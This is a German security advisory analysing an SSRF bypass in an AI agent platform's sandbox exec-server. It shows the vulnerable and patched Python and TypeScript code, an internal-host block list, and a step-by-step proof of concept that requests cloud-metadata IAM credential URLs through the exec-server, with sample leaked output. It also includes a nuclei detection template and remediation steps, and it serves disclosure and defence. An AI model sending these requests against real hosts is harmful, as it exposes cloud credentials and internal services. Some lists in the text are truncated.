
Tiefgehende Analyse von CVE-2026-62201: Umgehung der Netzwerkrichtlinie des OpenClaw-Sandbox-Exec-Servers (SSRF). Grundursache, verwundbarer vs. gepatchter Code, Ausnutzung, Erkennung, Abhilfe.
| Feld | Wert |
|---|
| Advisory | GHSA-mgvr-6gvw-3rgr |
| NVD | CVE-2026-62201 |
| Produkt | OpenClaw (npm-Paket openclaw) — Sandbox-exec-server-Komponente |
| Betroffen | openclaw < 2026.6.6 |
| Behoben | 2026.6.6 und später |
| Grundursache | Fehlende SSRF-Validierung im eingebetteten HTTP-Helfer des exec-servers (SANDBOX_HTTP_REQUEST_SCRIPT) |
| Fix-Commit | 21410d1c — "fix(codex): guard sandbox http requests" |
| Angriffsvektor | HTTP-POST an den http/request-Handler des exec-servers mit einer angreiferkontrollierten URL |
| Auswirkung | Aufrufer mit niedrigen Privilegien erreicht interne Netzwerkziele (Cloud-Metadaten, private IPs, Localhost-Dienste), die die OpenClaw-Netzwerkrichtlinie blockieren sollte |
OpenClaw ist eine KI-Agenten-Plattform, deren Sandbox-exec-server einen HTTP-Request-Helfer bereitstellt, den Agenten für ausgehende Webaufrufe nutzen. Versionen vor 2026.6.6 lieferten diesen Helfer ohne SSRF-Schutz aus: Ein Aufrufer mit geringerer Vertrauensstufe — jeder Agent, jedes Tool oder jeder Eingabepfad, den die Plattform als weniger vertrauenswürdig als einen Gateway-Betreiber einstuft — konnte eine beliebige URL übermitteln und den exec-server veranlassen, diese aus dem Host-Netzwerk heraus abzurufen.
Netzwerkrichtlinien-Prüfungen, die für direkten Sandbox-Egress gelten, wurden nicht angewendet, wenn Anfragen über die HTTP-Schnittstelle des exec-servers liefen. Diese Inkonsistenz ist die Schwachstelle: Der exec-server fungierte als uneingeschränkter HTTP-Proxy in das interne Netzwerk.
Wenn OpenClaw einen Codex-Agenten in einer Sandbox ausführt, startet es einen lokalen exec-server (extensions/codex/src/app-server/sandbox-exec-server.ts), der JSON-RPC-Methoden über einen WebSocket/HTTP-Transport bereitstellt. Eine dieser Methoden, http/request, ermöglicht dem Agenten das Abrufen von URLs. Die Implementierung leitet die Anfrage durch ein kleines eingebettetes Python-Skript — SANDBOX_HTTP_REQUEST_SCRIPT — das die eigentliche urllib-Arbeit erledigt.
Der Request-Handler befindet sich in extensions/codex/src/app-server/sandbox-exec-server/http.ts.
Der Python-Helfer erhielt die URL und prüfte nur das Schema:
# Aus [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (gekürzt)
def main():
input_data = json.load(sys.stdin)
url = str(input_data.get("url", ""))
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError("http/request only supports http and https URLs")
request = urllib.request.Request(url, ...)
with urllib.request.urlopen(request, timeout=timeout) as response:
handle_response(input_data, response)
Das ist die gesamte Absicherung. Es gab:
localhost, *.internal, metadata.google.internal …)http://169.254.169.254/ wurde blind verfolgtErgebnis: {"method":"GET","url":"http://<interner-host>/"} gab den internen Antworttext an den Aufrufer zurück. Der exec-server war ein offener Proxy in das Host-Netzwerk.
Commit 21410d1c fügte Defense-in-Depth auf beiden Ebenen hinzu:
Ebene 1 — TypeScript-Vorprüfung (assertSandboxHttpRequestTargetAllowed in http.ts):
function assertSandboxHttpRequestTargetAllowed(url: string): void {
const parsed = new URL(url);
if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
throw new SsrFBlockedError(...);
}
if (isBlockedHostnameOrIp(parsed.hostname)) {
throw new SsrFBlockedError(...);
}
}
Ebene 2 — Härtung des Python-Helfers (assert_url_allowed im eingebetteten Skript):
localhost, localhost.localdomain, metadata.google.internal, plus *.localhost-, *.local-, *.internal-Suffixe169.254.169.254, 100.100.100.200, fd00:ec2::254100.64.0.0/10, Benchmarking 198.18.0.0/15, Dokumentation 2001:db8::/32 und weitereipaddress-Klassifizierung: Loopback, privat, Link-Local, Multicast, reserviert, unspezifiziertGuardedRedirectHandler: Jeder Redirect-Hop führt assert_url_allowed erneut aus, bevor er verfolgt wird::ffff:a.b.c.d), 6to4- (2002::/16), Teredo- und ISATAP-Formen werden entpackt und ihre eingebettete IPv4 wird geprüftdef assert_url_allowed(url):
parsed = urllib.parse.urlparse(url)
...
hostname = normalize_hostname(parsed.hostname)
if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
raise ValueError("Blocked hostname or private/internal/special-use IP address")
results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
addresses = {entry[4][0] for entry in results if entry[4]}
if not addresses or any(is_blocked_ip(address) for address in addresses):
raise ValueError("Blocked: resolves to private/internal/special-use IP address")
PINNED_ADDRESSES[hostname] = sorted(addresses)
2026.6.6 mit aktiviertem Sandbox-exec-serverhttp/request aufzurufen (die Plattform behandelt dies als Zugriff mit niedrigen Privilegien — z. B. ein Plugin, ein Tool oder ein Eingabepfad, nicht ein Gateway-Betreiber)Schritt 1 — Senden einer Anfrage, die auf einen internen Dienst abzielt:
POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json
{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}
Schritt 2 — Verwundbare Antwort (HTTP 200):
Der exec-server rief die interne URL ab und gab den Text an den Aufrufer zurück — base64-gewrappt als bodyBase64:
{
"status": 200,
"headers": [{"name":"Content-Type","value":"application/json"}],
"bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}
Dekodiert:
{
"secret": "...",
"instanceId": "...",
"region": "us-east-1",
"role": "admin-role"
}
Schritt 3 — Behobene Antwort (HTTP 502):
{
"error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}
Das interne Ziel ist auf gepatchten Versionen über den exec-server nicht erreichbar.
http://169.254.169.254/latest/meta-data/iam/security-credentials/ → IAM-Anmeldedatenhttp://127.0.0.1:<port>/ zum Zugriff auf ko-lokalisierte, nicht authentifizierte VerwaltungsschnittstellenCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7,7 Hoch
Die Rahmung des Advisories ist wichtig: OpenClaws Modell vertrauenswürdiger Betreiber geht davon aus, dass Gateway-Betreiber vertrauenswürdig sind. Der Fehler besteht darin, dass eine Oberfläche mit geringerer Vertrauensstufe (Plugins, Tools, Eingabepfade) Ziele erreichen konnte, die die Richtlinie hätte blockieren sollen.
Eine Erkennungsvorlage ist verfügbar — OAST-basiert, ohne Vorkenntnis der internen Topologie erforderlich:
http:
- raw:
- |
POST /exec/http HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"method":"GET","url":"http://{{interactsh-url}}/","headers":[]}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: body
words:
- "bodyBase64"
Upstream eingereicht: projectdiscovery/nuclei-templates#17183
/exec/http (oder das WebSocket-JSON-RPC-Äquivalent), deren JSON-Body ein url-Feld enthält, das auf private/interne Ziele zeigt169.254.169.254, 100.100.100.200)npm install [email protected] (oder später). Der Fix fügt vollständige SSRF-Validierung sowohl an der TS-Grenze als auch im Python-Helfer hinzu.2026.6.6Diese Forschung wurde gegen öffentlich offengelegte Schwachstellendaten und Software durchgeführt, die in einer isolierten Laborumgebung bereitgestellt wurde. Es sind keine Live-Produktionssysteme, Netzwerke Dritter oder Zero-Day-Forschung beteiligt. Alle hier verwendeten PoCs sind harmlose Nur-Lese-Anfragen.